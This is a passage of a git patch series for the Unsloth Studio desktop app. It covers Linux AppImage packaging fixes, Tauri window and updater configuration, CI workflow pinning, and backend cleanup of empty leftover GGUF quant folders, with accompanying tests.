zPL4Z=`OJ>0{c6&e^Tw+1cs1y<F7=n75W62%J(L4>KYT4H($6;Ch7o#nEz582me`#)
zn_`V(D7d2s0Oy`R>4Ew6YgenxO9iRO5+wY#>PXN0Zn<tArw5{G=Qx)YrYatl1#l7l
zz2TrG{br43>b4+AfwQ17!SfQ6nH0_C5>%K33-uHQf<z@h0^hUL#uRT8mEUGKe)PK7
z99ne&H<;auHm|CeVVRj@4rY~{W*vz!lBge?UxRO?y?2)9!JN~|JG7(*kt^zHJequR
zM~d8d;=cZNxvPVty#&PE?kt%|zlVK2^7XeW>#&d)UgD?a8e#?tv^^bAx}`Bo4Da!E
z!z!(TT4Lcg3&|2Lp8K)$lYppfc9P4GrdFh7jVmP68v19CvqG=gDLg-EKC_eDCqnT7
zlF`=)A)N{#*p&>te(C?@j#LR&o32Zc$X^*B)G}Ryt-IHWk!tLPsO$q67w~z1;3@4%
zZSO~B3M6Qt^JI>HM*3?c3gMm`hX2Xxb94u?Opb}m81@jO(Iezs%nH<|dMF$hTWJQm
zs)~CaXIPiiQ_q>0Y;pNgs!GMKdveSek`Ec!2;22=FyYo-8zU60!$G4U884q4&-T+s
zCg(a0ggQ;V1fo)Q-XxPGD83;+sVUp`?TMW-KK%GaefL-p(NBT=HdhNK&!QnLS$3gf
znJIkj?3A*3^7(Ih;ngcx$Vj^n$=j_x62EKo$cDtlay+yT9G5>>;FR%{#(JimAh{2(
zO|NX`kzA1TYOm-C!<RnfTCY1Fy1uYs!t@m@&X)hidh*Qe;2~*<3pVlN`<&YX_Ukwd
zPX8A^A(LPFL`^C<PNVZ4%BxBh_ie&*`INJpg=(f(=_3XeY8kxMn=;l((2$TUw1is}
zo{cR7b=nYc4dC8$iqUlwV&!<uA&W6DCJlsaN4XEx-hZ1WF?u6HUzI}KW?D$!S;o&e
z#}z&hZu~RmL%d78<$c5Uu*=|$>d|bGrf><HketH7_1gioS-$#wPR}9bKEJ6JwcjJ9
zr?7?eF+S37X^u%$U;uOQaz>Ip&xC6?cQ(kcYIiqmCb;rg7Eo3EUWN~aMV&0st7K>z
zpkk0Ah*w`6#W9=WEKs=kyC8D-m`sIk6|r!wFMrXvjD5MvVlQG<^*A>u1g|%18#K(e
zkQ`*KmED(JjIc&{sn^fHgYbEW7CO;2843J5WRm`kgdQZ?Prjx+j~4zXpqAVGa>i${
zMg?14u*W2>Xdf||B+Tg#G3@7^j?gW++CNKjT(Nj^b<-+10Sw5lx9FO;scZR<JB?5t
zUeWY@Sjp*fna2AkdZBpB6v{6)*MUQ+>e>FNOe3v<wJSHV(s%CeYh+48`QMinpkH>)
zLcF$vvEr2qt5L<nJ2_|ZlmGOFoE9AJ#w0d(GlcGz9_BC_Q`sl#YI97>h+Hk&)@6@S
zX2{3D7nH`o{EaKR2Q@hbQEB$ZBcrK)JeP`T#>=}1@^_|e`>Zx{5zHZV0&9o~o9>6+
zY4FS(S(<VC8i~A+!P@4KS6dFHTF?1vJSqNco&3uf(k-3e_HHS_W;8Ub|J~05o6_w(
zWYtiz03Rf<a2X+JvDtqrLTCB*>%yUBt-#?$N4hP83EsM2nLLujk(KQLYEGd(W2hnQ
ze2naS(A~kWq&rsY@Me%h<w~AnzQ0<!4&hQ9BH2rLoNYF8>D_J*`yTW76T2yGNvn3?
z-3A&XoDa%gM|HT^!Nn#SY^8xo02qUXDJ+H<ywB+mWuV`TYG%8=*XCF0!7}=bre5oi
zA^7{pR2m&wuXW^jsr68muf4CYE$xnrYq#W&(%j58?%r2N8D>>*3w#!zSQPx136f8)
zPO8g`-u{${MWEVXX7m?1$XqzyyN0ut-Rw5@F*>#Iq{z}-y26ld*^O)~Mo^>u)~gpQ
zLT<L-D5tP6)1QB|Wa)Kvi}V$*w<2(FlNbLSBi=&GK4YmF1^{HMnWFs*Gw0CZJl+8t
zkdG)MuEVhD5B$sorRwc0f*3`$h}!mnw6XzM0b~f^FW<>{q>#XfYjqCfNH5Fkdgghk
zrFCYuu^CsaSV}H(T;x`i53B`WAfcUR<Y}oPNOL8I-Zn&q<L8&9b^GX(XVa)nun)M4
z=T#8=E8$2~<xjVJakYcVBu8c^Cic(C?eRLb{=pzK>Jjp*X9=42Ly6E|pX8GnoQq53
zZqOZt)$6%Kzjzl&xt(5oDSe_L^f==_#lv&!LlU-4D$<(vBC4%p8m)Io=Yk6#q^g76
zJF`^k8v|coAP;g@L1LPK!4M=#8R2{m79VRdRDjycy=XUI?A1-9_&0eSb9B1FdX6gz
zZDrdS0r#I+cgnHPzP|bA1Fb`Ws{$OaKCC+nt1l{>DosQ)?ol>X3x5;onCNwCywoP9
zgb)e~?~0BBl8@2De9|=5=f?OXa<`W?T0`6Tcs0&-aRSf&7{Q$4Han^#1ZH`i5Dojv
z{O$C%kDYpw^%QRwGZ-&#0hCN)??pw5Q7TpEwrkL+zI0Ri{mMStpZ~`uXZ#{+q26Cx
zdc9?xH$!;s=mg!=T0J9H6*3MblQI?#Z%URFwqp5&Qxw7)_C#K}M2r5elkhfVMqW0`
zH;MGK`JSbxz7FZ6@bhk0WM!AkOwKxCUm$T$wQ(s9n~f^W5fSG(+upyS)vKHFwp3mn
z-dJsCjV3Up((s>fU7T^Q+DDQ07yCHI^?~(w+lpTW^roQle6R)4;#iF3?7VU419iMs
zGJR{PUD(o}aHF?|86xTM*N9UNi!6<5@HCJZ1=#%k&@f~6;%IeZSlQDR{8QAsMW#vz
zrSAp9?%RJ`(x2&_L)%))&CV7(0>f*5t3+88Mh!3PaV-_LvMv4+Vm>Dw2*8U>Vq4p@
z2yNqlvuHA98)PqWetocec;Ka`I<K$$Ov0_Tn)TAb6@L|~rK>NBmx8``c%yk2=_cM4
zb<~C}JmE;wn)H<bmptUT&1s23Q(C#(I@3c}Z9@(o<u})1wQq9E27v^9m)%5}HhmRs
zi%oS+D4H)-GapTrX}3uYSE-5}+V2C<TpxgjX_bsy@n3|ApjSoTp2uile|t8{KjCg2
zH?pYk^u)>c>SHa9W37Lmr5)}G+hlu~{C1a~{&Vfc2nbA6Jb~75X{v>#Gve5E1or1w
zjSHcT1D`A|o%LybmZ#MylkbC5T3Wk^M@?&tq3dt_-K&H3aXX~R(`>9R5nSyjfUm~R
z(XU$JrYPTZdNFJ^U43aBcFy&~A1(IlBy|>5Y?ZrBc>S092p9Qe(O2}vByP?0Ql@)|
z$*hx6oarhh*#zr8crun+G00tA8NC8A9m@!%tZHyWXqpN*Hcj!n27Q&)C0zBE^)Jqd
zlhpYK$ySazdgTPI4Pe+kf@vvb;bagphrjVoa>DGNXN4OtoWs8iJqxa^S5u<%HtfbF
zyeSXPGmn8J^*mLj_5x_zw*qe#{@601%*&sw@MUO+KZvGL*u=#;xNI<6d2{4iM?%M-
zqfn_gJyB<+w6vPBZ(1FzTD_}STvj6W7jFc!?1Gkd=B{suHG<p|sS+dO_DHi3I?vY(
zrqOnOshynUr5e6>e0@*Gc%f2h62zNu=>-hZQ0%Evq<?QO{E$&Gs<~Ly#-cG*UT4Ed
zW8i)-8OEC6Mq|nC)l;)A;4pb*we;Hp3T%tw34ktd^mfHV>!5?8&NPg8i){H%pVt&!
zx-PM=7$}!6BEqLd#PH~Uuv3|IE_N0oMUHf)kVG>|RUC5?qvLL`NTiQ09DNSO^nFlt
zHuUFX;DX1*+WR(&+H1nl-X`L*OIw=9Z4y5n##a;Kh~s{U)Fu^<zt4~;z29Aa%J$El
zPb&T8`1P2zsL7RO90yA;JeVvW6Kr{g{S$kz%&qsA7+aZN@(~$nX7xZigR)DV?2iX@
zpvf4FR6@9D+b6kWcBweA&I-+0v6Kq$HPGwUo34s1@5PH|lc_$A4inP9#Iw1TPG2SC
zM>XMkbP2CS^oSUaU}?K4ANcG3$ycL#qy_omFpZpel5XO$1^F?H`*DFUySGgw$ZF$r
z#k)I3E{Si;#f@4>CUA&3za;~lT}FrhZ3Hl;9o4=}mz_UP^HZj!{=4}SW+6^Mt*INz
zm$a(>#&GIz)P)Mc|1?Q9oeInc#NQh+vse~4#aBC)p4H1!WV5c)RVwE;#h0GAYYdt<
zCdtRJR9KXX%f;chB1#OfQi$Q6u@Z<@$6Ro2$R`{(s?TlE)-C)Q!p*kQS6kSuFgpJf
zjTtf_T8Bum11d8z_}x;o*f^exN$P@{&^Y%pHK|EcYE)1m66-apNaIp#V|Thmb;c0D
zrwm!N6zS4hMAs=+Z$@&i(y*yQN$X$tJRd?|6Z%)(%FE1DH1&yJ4A&AT^%jr|4X}LA
zHr`ZYr}9=vL6k<WKL2vj;*&--IOXF{*hG&TiQw*Dmx%kgPYB4JfcV)I9j%W3yPS%~
zkRS)1!IYAz|9@WKnZ*<{f#D<meupB8iztTspWg;d)Th1yEilihK<hsb3|e3YJhlGQ
z4d7*f_CK}2ne%`9)~Ejbul%9^qtEbP@6i9Bet4RN|CK=%XIp_GWc62l`Npa40tbF%
MBo&}#;`)LA51<;DGXMYp

diff --git a/studio/src-tauri/src/main.rs b/studio/src-tauri/src/main.rs
index 4ed12051ed..1130ad2d5c 100644
--- a/studio/src-tauri/src/main.rs
+++ b/studio/src-tauri/src/main.rs
@@ -159,12 +159,36 @@ fn setup_tray(app: &tauri::App) -> Result<(), Box<dyn std::error::Error>> {
     Ok(())
 }
 
+#[cfg(target_os = "linux")]
+fn apply_linux_appimage_webkit_workarounds() {
+    if std::env::var_os("APPIMAGE").is_none() {
+        return;
+    }
+
+    // AppImage bundles WebKitGTK/GTK while still using host Mesa/EGL.
+    // On some rolling Linux stacks that mixed path leaves WebKit blank.
+    set_env_if_missing("WEBKIT_DISABLE_COMPOSITING_MODE", "1");
+    set_env_if_missing("WEBKIT_DISABLE_DMABUF_RENDERER", "1");
+}
+
+#[cfg(target_os = "linux")]
+fn set_env_if_missing(key: &str, value: &str) {
+    if std::env::var_os(key).is_none() {
+        std::env::set_var(key, value);
+    }
+}
+
+#[cfg(not(target_os = "linux"))]
+fn apply_linux_appimage_webkit_workarounds() {}
+
 fn main() {
     // Fix PATH for GUI apps (macOS .app bundles, Linux AppImage, Windows)
     // GUI apps don't inherit shell dotfile PATH — this spawns the user's
     // login shell to source .zshrc/.bashrc/.profile and sets PATH properly.
     let _ = fix_path_env::fix();
 
+    apply_linux_appimage_webkit_workarounds();
+
     setup_logging();
     info!("Unsloth Studio desktop app starting");
     windows_job::initialize();
diff --git a/studio/src-tauri/tauri.conf.json b/studio/src-tauri/tauri.conf.json
index 44fccaa447..5b521a2e15 100644
--- a/studio/src-tauri/tauri.conf.json
+++ b/studio/src-tauri/tauri.conf.json
@@ -22,17 +22,21 @@
       {
         "label": "main",
         "title": "Unsloth Studio (Desktop)",
-        "width": 690,
-        "height": 480,
+        "width": 760,
+        "height": 560,
         "center": true,
         "visible": false,
-        "resizable": false
+        "resizable": false,
+        "decorations": true,
+        "titleBarStyle": "Overlay",
+        "trafficLightPosition": { "x": 14, "y": 24 },
+        "hiddenTitle": true
       }
     ]
   },
   "plugins": {
     "updater": {
-      "pubkey": "dW50cnVzdGVkIGNvbW1lbnQ6IG1pbmlzaWduIHB1YmxpYyBrZXk6IEQ2RDhGMDMzNDNEMTlGMkQKUldRdG45RkRNL0RZMXZsaVo2TElUQlVHb1hVNWEyajhUOGFXeTdNVDFZTFdBVUtlZUh5L2wwWVYK",
+      "pubkey": "dW50cnVzdGVkIGNvbW1lbnQ6IG1pbmlzaWduIHB1YmxpYyBrZXk6IDE0NjlBNkEwQTc0QjY0Q0UKUldUT1pFdW5vS1pwRkl3TXRrOGlYdDNMeTh1bEhSbURrM3IyT2lTK1BiekpTc0Z2SXZFeVNibDIK",
       "endpoints": [
         "https://github.com/unslothai/unsloth/releases/download/desktop-latest/latest.json"
       ],

From 2aef1a23cb92922cb22d3e484b1e67f241c31c3e Mon Sep 17 00:00:00 2001
From: Wasim Yousef Said <wasimysdev@gmail.com>
Date: Thu, 25 Jun 2026 04:40:00 +0200
Subject: [PATCH 104/306] Fix Linux AppImage packaging (#6657)

* Fix Linux AppImage packaging stack

* Fix desktop release workflow guard
---
 .github/workflows/release-desktop.yml    | 31 +++++++++++++++++++++++-
 .github/workflows/studio-tauri-smoke.yml |  2 +-
 studio/src-tauri/src/main.rs             | 24 ------------------
 studio/src-tauri/tauri.conf.json         |  3 +++
 4 files changed, 34 insertions(+), 26 deletions(-)

diff --git a/.github/workflows/release-desktop.yml b/.github/workflows/release-desktop.yml
index 884ff02d11..6f1a7f14b1 100644
--- a/.github/workflows/release-desktop.yml
+++ b/.github/workflows/release-desktop.yml
@@ -353,7 +353,7 @@ jobs:
         if: matrix.platform == 'ubuntu-22.04'
         run: |
           sudo apt-get update
-          sudo apt-get install -y libwebkit2gtk-4.1-dev libayatana-appindicator3-dev librsvg2-dev libxdo-dev libssl-dev patchelf
+          sudo apt-get install -y libwebkit2gtk-4.1-dev libappindicator3-dev librsvg2-dev libxdo-dev libssl-dev patchelf
 
       # ── Node.js ──
       - name: Setup Node.js
@@ -406,9 +406,24 @@ jobs:
           if (config.bundle?.linux?.rpm) {
             throw new Error('bundle.linux.rpm must not be configured');
           }
+          if (config.bundle?.linux?.appimage?.bundleMediaFramework !== false) {
+            throw new Error('Linux AppImage bundleMediaFramework must stay false');
+          }
 
           const workflow = readFileSync('.github/workflows/release-desktop.yml', 'utf8');
           const lines = workflow.split(/\r?\n/);
+          const linuxInstallLines = lines.filter((line) => line.includes('sudo apt-get install'));
+          const ayatanaPackage = ['libayatana', 'appindicator3-dev'].join('-');
+          if (linuxInstallLines.some((line) => line.includes(ayatanaPackage))) {
+            throw new Error('Desktop Linux release must not install the Ayatana appindicator dev package');
+          }
+          if (!linuxInstallLines.some((line) => line.includes('libappindicator3-dev'))) {
+            throw new Error('Desktop Linux release must install libappindicator3-dev');
+          }
+          const linuxdeployLines = lines.filter((line) => line.includes('github.com/linuxdeploy/linuxdeploy/releases/download'));
+          if (!linuxdeployLines.some((line) => line.includes('1-alpha-20250213-2/linuxdeploy-x86_64.AppImage'))) {
+            throw new Error('Desktop Linux release must pin linuxdeploy 1-alpha-20250213-2');
+          }
           const releaseBodies = [];
           for (let i = 0; i < lines.length; i += 1) {
             const match = lines[i].match(/^(\s*)releaseBody:\s*\|\s*$/);
@@ -568,6 +583,19 @@ jobs:
           Get-Command trusted-signing-cli -ErrorAction SilentlyContinue || Write-Output "trusted-signing-cli NOT in PATH"
           trusted-signing-cli --version || Write-Output "trusted-signing-cli failed to run"
 
+      # ── Linux: pin AppImage packaging toolchain ──
+      - name: Pin linuxdeploy for AppImage
+        if: matrix.platform == 'ubuntu-22.04'
+        shell: bash
+        run: |
+          set -euo pipefail
+          tools_dir="$RUNNER_TEMP/tauri-tools-cache/tauri"
+          mkdir -p "$tools_dir"
+          curl -fsSL \
+            "https://github.com/linuxdeploy/linuxdeploy/releases/download/1-alpha-20250213-2/linuxdeploy-x86_64.AppImage" \
+            -o "$tools_dir/linuxdeploy-x86_64.AppImage"
+          chmod +x "$tools_dir/linuxdeploy-x86_64.AppImage"
+
       # ── Linux: build + sign + upload ──
       - name: Build Linux app
         if: matrix.platform == 'ubuntu-22.04'
@@ -576,6 +604,7 @@ jobs:
           GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }}
           TAURI_SIGNING_PRIVATE_KEY: ${{ secrets.TAURI_SIGNING_PRIVATE_KEY }}
           TAURI_SIGNING_PRIVATE_KEY_PASSWORD: ${{ secrets.TAURI_SIGNING_PRIVATE_KEY_PASSWORD }}
+          XDG_CACHE_HOME: ${{ runner.temp }}/tauri-tools-cache
         with:
           projectPath: studio
           tauriScript: npx --prefix . tauri
diff --git a/.github/workflows/studio-tauri-smoke.yml b/.github/workflows/studio-tauri-smoke.yml
index 1156c264ae..018857de68 100644
--- a/.github/workflows/studio-tauri-smoke.yml
+++ b/.github/workflows/studio-tauri-smoke.yml
@@ -47,7 +47,7 @@ jobs:
         run: |
           sudo apt-get update
           sudo apt-get install -y \
-            libwebkit2gtk-4.1-dev libayatana-appindicator3-dev \
+            libwebkit2gtk-4.1-dev libappindicator3-dev \
             librsvg2-dev libxdo-dev libssl-dev patchelf
 
       - uses: actions/setup-node@48b55a011bda9f5d6aeb4c2d9c7362e8dae4041e  # v6.4.0
diff --git a/studio/src-tauri/src/main.rs b/studio/src-tauri/src/main.rs
index 1130ad2d5c..4ed12051ed 100644
--- a/studio/src-tauri/src/main.rs
+++ b/studio/src-tauri/src/main.rs
@@ -159,36 +159,12 @@ fn setup_tray(app: &tauri::App) -> Result<(), Box<dyn std::error::Error>> {
     Ok(())
 }
 
-#[cfg(target_os = "linux")]
-fn apply_linux_appimage_webkit_workarounds() {
-    if std::env::var_os("APPIMAGE").is_none() {
-        return;
-    }
-
-    // AppImage bundles WebKitGTK/GTK while still using host Mesa/EGL.
-    // On some rolling Linux stacks that mixed path leaves WebKit blank.
-    set_env_if_missing("WEBKIT_DISABLE_COMPOSITING_MODE", "1");
-    set_env_if_missing("WEBKIT_DISABLE_DMABUF_RENDERER", "1");
-}
-
-#[cfg(target_os = "linux")]
-fn set_env_if_missing(key: &str, value: &str) {
-    if std::env::var_os(key).is_none() {
-        std::env::set_var(key, value);
-    }
-}
-
-#[cfg(not(target_os = "linux"))]
-fn apply_linux_appimage_webkit_workarounds() {}
-
 fn main() {
     // Fix PATH for GUI apps (macOS .app bundles, Linux AppImage, Windows)
     // GUI apps don't inherit shell dotfile PATH — this spawns the user's
     // login shell to source .zshrc/.bashrc/.profile and sets PATH properly.
     let _ = fix_path_env::fix();
 
-    apply_linux_appimage_webkit_workarounds();
-
     setup_logging();
     info!("Unsloth Studio desktop app starting");
     windows_job::initialize();
diff --git a/studio/src-tauri/tauri.conf.json b/studio/src-tauri/tauri.conf.json
index 5b521a2e15..51c4860e3c 100644
--- a/studio/src-tauri/tauri.conf.json
+++ b/studio/src-tauri/tauri.conf.json
@@ -76,6 +76,9 @@
       }
     },
     "linux": {
+      "appimage": {
+        "bundleMediaFramework": false
+      },
       "deb": {
         "postRemoveScript": "./linux/postremove.sh"
       }

From c72da0574137c8da6b1c8b6284c51b19b9ad0eec Mon Sep 17 00:00:00 2001
From: Daniel Han <danielhanchen@gmail.com>
Date: Thu, 25 Jun 2026 01:14:21 -0700
Subject: [PATCH 105/306] Studio: clean up empty leftover quant folders so they
 can be deleted (#6616)

* Studio: clean up empty leftover quant folders so they can be deleted

An interrupted or cancelled split GGUF download leaves snapshots/<rev>/<quant>/
behind with no shards. Such a folder is neither a completed download nor a
tracked partial (no .incomplete blobs, no manifest), so it was invisible in the
variant list and a per-variant delete returned 404, leaving it on disk forever.

- list_empty_gguf_variant_dirs: detect quant folders that are empty in every
  snapshot, excluding any quant that has shards in another snapshot.
- get_gguf_variants_response: surface those quants as partial (cleanable) so the
  UI shows a delete affordance.
- _delete_gguf_variant_from_repos: remove the empty (or just-emptied) quant
  subfolder and count it toward the result so the delete succeeds instead of 404.

Adds hub/tests/test_empty_variant_folder.py.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Studio: simplify empty-dir check to any(iterdir())

* Studio: tighten comments on empty-quant-folder cleanup

* Studio: surface empty-folder removal failures and cleanables on local/offline paths

Address review feedback on the empty leftover quant folder cleanup:
- _remove_empty_variant_dirs now returns removal failures (read-only cache or a
  locked dir), and the variant delete raises 409 instead of a misleading 404; a
  concurrent download refilling the dir (ENOTEMPTY) is still treated as a skip.
- Empty leftover folders are surfaced as cleanable on every variant-listing path
  (prefer_local_cache / offline / HF-fallback), not just a remote listing, via a
  single post-process that flips a listed quant to partial or appends an
  unlisted one.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Studio: surface empty-folder cleanables even when metadata fetch fails

When the cache holds only an empty leftover snapshots/<rev>/<quant>/ folder
from an interrupted split download and the client is offline or the HF
metadata request fails, _compute() re-raised before cleanables were marked,
leaving the folder undeletable. Now fall back to marking cleanables against an
empty response and return them if any; otherwise re-raise the original error.

---------

Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
---
 .../backend/hub/services/models/deletion.py   |  61 ++++++-
 .../hub/services/models/gguf_variants.py      |  49 +++++-
 .../hub/tests/test_empty_variant_folder.py    | 166 ++++++++++++++++++
 studio/backend/hub/utils/gguf.py              |  27 +++
 4 files changed, 301 insertions(+), 2 deletions(-)
 create mode 100644 studio/backend/hub/tests/test_empty_variant_folder.py

diff --git a/studio/backend/hub/services/models/deletion.py b/studio/backend/hub/services/models/deletion.py
index ecc9f8426d..916bb9d4f8 100644
--- a/studio/backend/hub/services/models/deletion.py
+++ b/studio/backend/hub/services/models/deletion.py
@@ -6,6 +6,7 @@
 from __future__ import annotations
 
 import asyncio
+import errno
 from pathlib import Path
 from typing import Optional
 
@@ -15,7 +16,7 @@ from loggers import get_logger
 from hub.utils import download_manifest
 from hub.utils import download_registry
 from hub.utils import inventory_scan as hf_cache_scan
-from hub.utils.gguf import extract_quant_label
+from hub.utils.gguf import extract_quant_label, extract_quant_token
 from hub.utils.hf_cache_state import (
     INCOMPLETE_SUFFIX,
     purge_partial_repo,
@@ -106,6 +107,52 @@ def _has_remaining_main_gguf(target_repo) -> bool:
     )
 
 
+def _remove_empty_variant_dirs(target_repos: list, variant: str) -> tuple[int, list[str]]:
+    """Remove now-empty ``snapshots/<rev>/<quant>/`` folders for *variant* (the
+    quant label names the folder); only empty dirs go, so siblings are safe.
+    Returns (count removed, removal failures other than a concurrent refill)."""
+    variant_key = (extract_quant_token(variant) or variant).lower()
+    removed = 0
+    failures: list[str] = []
+    for target_repo in target_repos:
+        repo_path = getattr(target_repo, "repo_path", None)
+        if not repo_path:
+            continue
+        snapshots = Path(repo_path) / "snapshots"
+        if not snapshots.is_dir():
+            continue
+        try:
+            snap_dirs = [s for s in snapshots.iterdir() if s.is_dir() and not s.is_symlink()]
+        except OSError:
+            continue
+        for snap in snap_dirs:
+            try:
+                subs = list(snap.iterdir())
+            except OSError:
+                continue
+            for sub in subs:
+                try:
+                    if sub.is_symlink() or not sub.is_dir():
+                        continue
+                    folder_quant = extract_quant_token(sub.name)
+                    matches = (
+                        folder_quant is not None and folder_quant.lower() == variant_key
+                    ) or sub.name.lower() == variant.lower()
+                    if not matches or any(sub.iterdir()):
+                        continue
+                except OSError:
+                    continue
+                try:
+                    sub.rmdir()
+                    removed += 1
+                except OSError as e:
+                    # A concurrent download refilling the dir (ENOTEMPTY) is not a
+                    # failure; a read-only cache or locked dir is, so surface it.
+                    if e.errno != errno.ENOTEMPTY:
+                        failures.append(f"{sub.name}: {e}")
+    return removed, failures
+
+
 def _delete_gguf_variant_from_repos(
     repo_id: str,
     variant: str,
@@ -206,11 +253,23 @@ def _delete_gguf_variant_from_repos(
         )
 
     state_purged = download_manifest.purge_state("model", repo_id, variant)
+    # Reclaim the empty quant folder so it stops 404ing on delete.
+    removed_dirs, dir_failures = _remove_empty_variant_dirs(target_repos, variant)
+    if dir_failures:
+        raise HTTPException(
+            status_code = 409,
+            detail = (
+                f"Couldn't fully delete {variant} for {repo_id}: "
+                f"{len(dir_failures)} folder(s) could not be removed "
+                "(read-only cache or in use). Try again."
+            ),
+        )
     if (
         removed_snapshots == 0
         and deleted_blobs == 0
         and incomplete_result.deleted == 0
         and not state_purged
+        and removed_dirs == 0
     ):
         raise HTTPException(
             status_code = 404,
diff --git a/studio/backend/hub/services/models/gguf_variants.py b/studio/backend/hub/services/models/gguf_variants.py
index 74c3ad6ce2..0c0e6f9254 100644
--- a/studio/backend/hub/services/models/gguf_variants.py
+++ b/studio/backend/hub/services/models/gguf_variants.py
@@ -27,6 +27,7 @@ from hub.utils.gguf import (
     extract_quant_label,
     iter_hf_cache_snapshots,
     is_big_endian_gguf_path,
+    list_empty_gguf_variant_dirs,
     list_gguf_variants,
     list_gguf_variants_from_hf_cache,
     list_local_gguf_variants,
@@ -334,6 +335,32 @@ def delete_variant_incomplete_blobs_result(
     return VariantIncompleteDeleteResult(deleted = deleted, unresolved = False)
 
 
+def _mark_empty_dir_cleanables(
+    repo_id: str, response: GgufVariantsResponse
+) -> GgufVariantsResponse:
+    """Surface empty leftover ``<quant>/`` folders (interrupted downloads) as
+    partial so the UI can delete them -- on local/offline paths too, not just a
+    remote listing. A listed quant is flipped to partial; an unlisted one is
+    appended as a zero-byte cleanable entry."""
+    try:
+        empty_labels = list_empty_gguf_variant_dirs(repo_id)
+    except Exception as e:
+        logger.warning(f"Failed to scan empty GGUF variant folders for {repo_id}: {e}")
+        return response
+    if not empty_labels:
+        return response
+    empty_by_key = {label.lower(): label for label in empty_labels}
+    variants = list(response.variants)
+    listed = {v.quant.lower() for v in variants}
+    for i, v in enumerate(variants):
+        if v.quant.lower() in empty_by_key and not v.downloaded and not v.partial:
+            variants[i] = v.model_copy(update = {"partial": True})
+    for key, label in sorted(empty_by_key.items()):
+        if key not in listed:
+            variants.append(GgufVariantDetail(filename = f"{label}.gguf", quant = label, partial = True))
+    return response.model_copy(update = {"variants": variants})
+
+
 async def get_gguf_variants_response(
     repo_id: str,
     prefer_local_cache: bool = False,
@@ -653,8 +680,28 @@ async def get_gguf_variants_response(
             default_variant = default_variant,
         )
 
+    def _compute_with_cleanables() -> GgufVariantsResponse:
+        skip = is_local_path(repo_id) or not _is_valid_repo_id(repo_id)
+        try:
+            response = _compute()
+        except Exception:
+            # Offline / metadata fetch failed with only an empty leftover
+            # <quant>/ folder cached: still surface it so the UI can delete it,
+            # otherwise re-raise the original error.
+            if skip:
+                raise
+            enriched = _mark_empty_dir_cleanables(
+                repo_id, GgufVariantsResponse(repo_id = repo_id, variants = [])
+            )
+            if enriched.variants:
+                return enriched
+            raise
+        if skip:
+            return response
+        return _mark_empty_dir_cleanables(repo_id, response)
+
     try:
-        return await asyncio.to_thread(_compute)
+        return await asyncio.to_thread(_compute_with_cleanables)
     except HTTPException:
         raise
     except Exception as e:
diff --git a/studio/backend/hub/tests/test_empty_variant_folder.py b/studio/backend/hub/tests/test_empty_variant_folder.py
new file mode 100644
index 0000000000..33bf6c6819
--- /dev/null
+++ b/studio/backend/hub/tests/test_empty_variant_folder.py
@@ -0,0 +1,166 @@
+# SPDX-License-Identifier: AGPL-3.0-only
+# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
+
+"""Cleanup of empty leftover quant folders from interrupted split downloads."""
+
+import errno
+from pathlib import Path
+from types import SimpleNamespace
+
+from hub.schemas.inventory import GgufVariantDetail, GgufVariantsResponse
+from hub.services.models import deletion, gguf_variants
+from hub.utils import gguf
+
+
+def _make_snapshot(root: Path) -> Path:
+    snap = root / "snapshots" / "rev0"
+    (snap / "UD-IQ1_M").mkdir(parents = True)
+    (snap / "UD-IQ1_M" / "GLM-UD-IQ1_M-00001-of-00002.gguf").write_bytes(b"x")
+    (snap / "UD-IQ1_M" / "GLM-UD-IQ1_M-00002-of-00002.gguf").write_bytes(b"y")
+    (snap / "UD-IQ1_S").mkdir(parents = True)  # empty leftover
+    return snap
+
+
+def test_list_empty_gguf_variant_dirs_finds_empty_leftover(tmp_path, monkeypatch):
+    snap = _make_snapshot(tmp_path)
+    monkeypatch.setattr(gguf, "iter_hf_cache_snapshots", lambda repo_id: iter([snap]))
+    assert gguf.list_empty_gguf_variant_dirs("org/Repo-GGUF") == {"UD-IQ1_S"}
+
+
+def test_list_empty_excludes_quant_with_files_in_another_snapshot(tmp_path, monkeypatch):
+    snap1 = tmp_path / "s1" / "snapshots" / "rev"
+    (snap1 / "UD-IQ1_S").mkdir(parents = True)  # empty here
+    snap2 = tmp_path / "s2" / "snapshots" / "rev"
+    (snap2 / "UD-IQ1_S").mkdir(parents = True)
+    (snap2 / "UD-IQ1_S" / "m-UD-IQ1_S-00001-of-00001.gguf").write_bytes(b"z")  # has shards
+    monkeypatch.setattr(gguf, "iter_hf_cache_snapshots", lambda repo_id: iter([snap1, snap2]))
+    assert gguf.list_empty_gguf_variant_dirs("org/Repo-GGUF") == set()
+
+
+def test_list_empty_ignores_non_quant_dirs(tmp_path, monkeypatch):
+    snap = tmp_path / "snapshots" / "rev"
+    (snap / "not-a-quant").mkdir(parents = True)  # empty but not a quant label
+    monkeypatch.setattr(gguf, "iter_hf_cache_snapshots", lambda repo_id: iter([snap]))
+    assert gguf.list_empty_gguf_variant_dirs("org/Repo-GGUF") == set()
+
+
+def test_remove_empty_variant_dirs_removes_only_empty_match(tmp_path):
+    snap = _make_snapshot(tmp_path)
+    repo = SimpleNamespace(repo_path = str(tmp_path))
+    removed, failures = deletion._remove_empty_variant_dirs([repo], "UD-IQ1_S")
+    assert removed == 1
+    assert failures == []
+    assert not (snap / "UD-IQ1_S").exists()
+    assert (snap / "UD-IQ1_M").is_dir()
+
+
+def test_remove_empty_variant_dirs_never_touches_populated_folder(tmp_path):
+    snap = _make_snapshot(tmp_path)
+    repo = SimpleNamespace(repo_path = str(tmp_path))
+    removed, failures = deletion._remove_empty_variant_dirs([repo], "UD-IQ1_M")
+    assert removed == 0
+    assert failures == []
+    assert len(list((snap / "UD-IQ1_M").iterdir())) == 2
+
+
+def test_remove_empty_variant_dirs_surfaces_real_failure(tmp_path, monkeypatch):
+    _make_snapshot(tmp_path)
+    repo = SimpleNamespace(repo_path = str(tmp_path))
+
+    def _denied(self):
+        raise OSError(errno.EACCES, "permission denied")
+
+    monkeypatch.setattr(Path, "rmdir", _denied)
+    removed, failures = deletion._remove_empty_variant_dirs([repo], "UD-IQ1_S")
+    assert removed == 0
+    assert len(failures) == 1
+
+
+def test_remove_empty_variant_dirs_ignores_concurrent_refill(tmp_path, monkeypatch):
+    _make_snapshot(tmp_path)
+    repo = SimpleNamespace(repo_path = str(tmp_path))
+
+    def _refilled(self):
